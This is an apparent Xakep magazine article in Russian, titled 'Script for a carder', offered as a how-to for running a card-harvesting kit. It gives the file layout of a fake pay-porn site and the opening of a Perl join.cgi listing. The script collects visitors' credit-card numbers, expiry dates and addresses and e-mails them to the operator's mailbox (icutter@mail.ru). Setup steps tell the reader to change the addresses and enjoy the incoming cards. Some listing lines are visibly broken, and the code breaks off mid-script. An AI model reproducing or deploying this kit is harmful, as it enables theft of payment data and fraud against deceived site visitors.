Скрипт для кардера

Xakep, номер #020, стр. 020-036-3

А вот как выглядит структура сайта:

index.htm

gallery.htm

/cgi-bin/join.cgi

/cgi-bin/join.dat

/cgi-bin/joined.dat

/cgi-bin/login.cgi

/cgi-bin/login.dat

/cgi-bin/show.cgi

/cgi-bin/func.pl

/cgi-bin/error.jpg

/cgi-bin/s-zone/

/cgi-bin/user/

/cgi-bin/status/

/cgi-bin/ip/

В скрипте join.cgi находятся две переменные с адресами e-mail'ов, которые следует поменять: $mail - адрес почтового ящика, куда будут приходить новые кредитки, т.е. мыло порно зло-админа, $admin - адрес почтового ящика, откуда будет приходить почта новым пользователям. Например, если у тебя сайт http://www.bestporno.ru, то введи такой e-mail - admin@bestporno.ru или webmaster@bestporno.ru.

Остался еще файл func.pl, но о нем можно не думать. Это просто вспомогательный модуль, где находятся некоторые дополнительные процедуры, которые нужны остальным скриптам, там также переменным присваиваются имена используемых каталогов, т.е. в принципе (если сильно приспичит) можно поменять названия всех директорий. А теперь все это можно замутить на своем сайте, закачать, настроить и проверить. Если нормально настроиться, то все хоккей. HTML файлы меняются на свой лад, со своим дизайном. Далее следует кайфундия от поступаемых кред =). И еще: для отправки писем скрипты используют программу sendmail, так что сервак должен быть под *nix. Конечно, если сервак не юниксовый, а виндовый, то можно настроить под другие проги (в IIS сервере можно использовать windmail) или написать скрипт, который соединится с SMTP сервером и отправит сообщение. А вот сами листинги скриптов:

/ Файл join.cgi /

#!/usr/local/bin/perl

require 'func.pl';

## Переменные\

$file{form}="join.dat";

$file{join}="joined.dat";

$mailprog = '/usr/sbin/sendmail';

$mail='icutter@mail.ru';

$admin='admin@megaporno.com';

&parse_form;

print "Content-type: text/html\n\n";

if ($FORM{step} eq "2"){

$date=$FORM{month}."/".$FORM{year};

&check_number ($FORM{type},$FORM{ccard},$date);

if (-e "$user_dir$FORM{login}") {

open (DATA, "$status_dir$FORM{login}");

$time{end}=; chomp ($time{end});

$time{now}=; chomp ($time{now});

if (time()<$time{end}) {$war="This login already exist";}

else {unlink ("$user_dir$FORM{login}"); unlink ("$status_dir$FORM{login}");}

}

if (length($FORM{year})>4) {$war="Invalid year";}

if ((length($FORM{month})>12) || (length($FORM{month})<1)){$war="Invalid month";}

if ((length($FORM{ccard})<12) || (length($FORM{login})>19)){$war="Invalid Card number";}

if (length($FORM{country})<1){$war="Invalid country";}

if (length($FORM{address})<1){$war="Invalid address";}

if (not $FORM{mail}=~/\@/){$war="Invalid e-mail";}

if (length($FORM{password})<1){$war="Invalid password";}

if ($FORM{password} ne $FORM{rpassword}) {$war="Invalid password"}

if ((length($FORM{login})>12) || (length($FORM{login})<1)

|| ($FORM{login}=~/[\/\\.|><]/)){$war="Invalid login";}

if (length($FORM{name})<1){$war="Invalid name";}

if (defined ($war)){

@out=confiles ($file{form});

@out=exchange ("!warning!",$war,@out);

print @out;}

if (not defined ($war)){